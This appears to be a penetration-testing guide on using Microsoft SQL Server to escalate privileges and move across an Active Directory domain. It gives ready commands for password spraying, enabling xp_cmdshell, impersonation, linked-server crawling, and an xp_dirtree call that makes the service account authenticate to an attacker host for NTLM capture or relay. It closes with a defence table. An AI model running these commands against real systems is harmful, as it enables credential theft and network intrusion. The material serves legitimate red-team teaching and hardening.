Microsoft SQL Server is everywhere in an enterprise, it authenticates users with their domain identity, and its service runs as a domain account that is frequently over-privileged. That combination makes MSSQL less of a "database" and more of a distributed execution and credential surface woven through Active Directory. You rarely need a SQL-injection bug to abuse it — valid domain credentials and a permissive configuration are usually enough.
The three levers to keep in mind: SQL Server can run OS commands as its service account, it can impersonate other logins inside the engine, and instances trust each other through linked servers. Chain those and a single low-privileged connection can walk across servers and out onto the host.
Finding instances and getting in
SQL Server registers a Service Principal Name (MSSQLSvc/host:port), so instances
are discoverable straight from the directory — which also makes the service accounts
Kerberoastable. From there you authenticate with
Windows (integrated) auth using your domain user, hash or ticket:
Get-SQLInstanceDomain | Get-SQLConnectionTest # PowerUpSQL: find instances you can reach
nxc mssql <range> -u <user> -p '<pass>' # spray/where-can-I-log-in
mssqlclient.py -windows-auth <domain>/<user>:'<pass>'@<ip>
The privilege model that makes it dangerous
SQL Server has its own identity system layered on top of Windows. Understanding it tells you what to look for:
| Concept | Meaning |
|---|---|
| Login | Server-level identity (a Windows account/group, or a SQL login) |
| User | A login mapped into a specific database |
sysadmin (sa) | God on the instance — can do anything, including OS command execution |
public | The role every login has; the baseline you start from |
| Service account context | Whatever OS commands you run execute as this account, not yours |
The prize is sysadmin, but you rarely start there. The interesting question is
how to reach it from public — and the answer is usually impersonation
or a linked server.
Command execution — xp_cmdshell and friends
The classic primitive is xp_cmdshell, an extended stored procedure that runs a
shell command as the SQL service account. It is disabled by default, but a
sysadmin can turn it on in two statements:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
It is not the only route to OS or code execution:
| Vector | Notes |
|---|---|
OLE Automation (sp_OACreate) | Instantiate COM objects — run commands, write files, without xp_cmdshell |
| CLR assemblies | Load a .NET assembly into the engine and call it — powerful and stealthier |
| SQL Agent jobs | Schedule a job step (CmdExec/PowerShell) that runs under the agent account |
xp_dirtree / xp_fileexist | Not execution, but they trigger outbound SMB — see coercion below |
Whatever the vector, the command runs as the service account. If that account holds
SeImpersonatePrivilege (service accounts usually do), you can escalate to
SYSTEM with a potato technique;
if it is a privileged domain account, you may already have what you need.
Impersonation — EXECUTE AS
SQL Server lets one login run statements as another when granted the
IMPERSONATE permission — a feature apps use for delegation, and a privilege
escalation when it points at a higher-privileged login:
-- who can I impersonate?
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
EXECUTE AS LOGIN = 'sa'; -- become sysadmin if you were granted impersonate on sa
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
A related classic is the trustworthy database misconfiguration: if a
database is marked TRUSTWORTHY and you are db_owner there, you can
create a stored procedure that runs as a sysadmin and escalate to full server control.
Linked servers — trust that crawls
Administrators connect instances with linked servers so queries can span
databases. Those links carry a security context — sometimes a fixed, high-privileged login —
and links are frequently transitive. You can crawl the graph and end up as
sysadmin on a server you were never granted access to:
Get-SQLServerLinkCrawl -Instance <sql> -Query 'SELECT SYSTEM_USER' # PowerUpSQL: walk every link
-- manual, in mssqlclient.py:
EXEC ('SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED\INSTANCE];
-- execute out through a link where you are sysadmin:
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED\INSTANCE];
Even a single self-referential or misconfigured link can be the whole path, so link crawling is one of the highest-value things to do the moment you can authenticate to any instance.
Coercion — make the service account authenticate to you
You do not need command execution to weaponise SQL Server against the domain. Procedures
like xp_dirtree take a UNC path and cause the service account to
authenticate to it over SMB. Point it at your listener and you capture or relay that
NetNTLM — straight into the coercion &
relay workflow:
EXEC xp_dirtree '\\<attacker_ip>\share', 1, 1; -- service account auths to you
-- capture with Responder, or relay with ntlmrelayx to an unsigned host / LDAP
This is powerful because it works from a low-privileged login: you cannot run
xp_cmdshell, but you can make a privileged service account leak its
authentication.
Relaying to MSSQL
The reverse also holds: if you have coerced or captured a privileged account's authentication elsewhere, you can relay it into SQL Server and run commands as that identity:
ntlmrelayx.py -t mssql://<sql_ip> -q "EXEC xp_cmdshell 'whoami'"
From SQL to the domain
Put the pieces together and MSSQL becomes a bridge into the wider
attack path: Kerberoast the service SPN offline; authenticate;
crawl links to become sysadmin somewhere; run xp_cmdshell; if the token holds
SeImpersonate, potato to SYSTEM; dump
LSASS for the next set of
credentials — and repeat.
Detection & defence
| Control | Effect |
|---|---|
Keep xp_cmdshell disabled and alert on sp_configure toggling it | Removes/flags the loudest execution primitive |
| Run the service as a low-privileged gMSA; strip local admin and unnecessary domain rights | Command execution and coercion become far less useful |
Remove sysadmin from application logins; audit IMPERSONATE grants and TRUSTWORTHY databases | Closes the EXECUTE-AS escalation paths |
| Review linked servers and the security context they use; avoid fixed high-priv contexts | Stops link crawling from reaching sysadmin |
| Enforce SMB signing / EPA and disable NTLM where possible | Neutralises xp_dirtree coercion and relay to SQL |
| Use a strong, unique password on the SQL SPN account | Defeats offline Kerberoast cracking |
The takeaway
Treat every SQL Server as a domain-privileged execution host, not just a data store. The
escalation ladder is almost always the same — authenticate → impersonate or crawl a link
→ become sysadmin → execute as the service account → potato to SYSTEM → harvest credentials
— and none of it requires a memory-corruption exploit, only permissive defaults. Tools such
as PowerUpSQL and Impacket's mssqlclient.py are in the
Toolkit, and the practical commands are under MSSQL lateral
movement and SQL Server links in
Vulns & Misconfigs.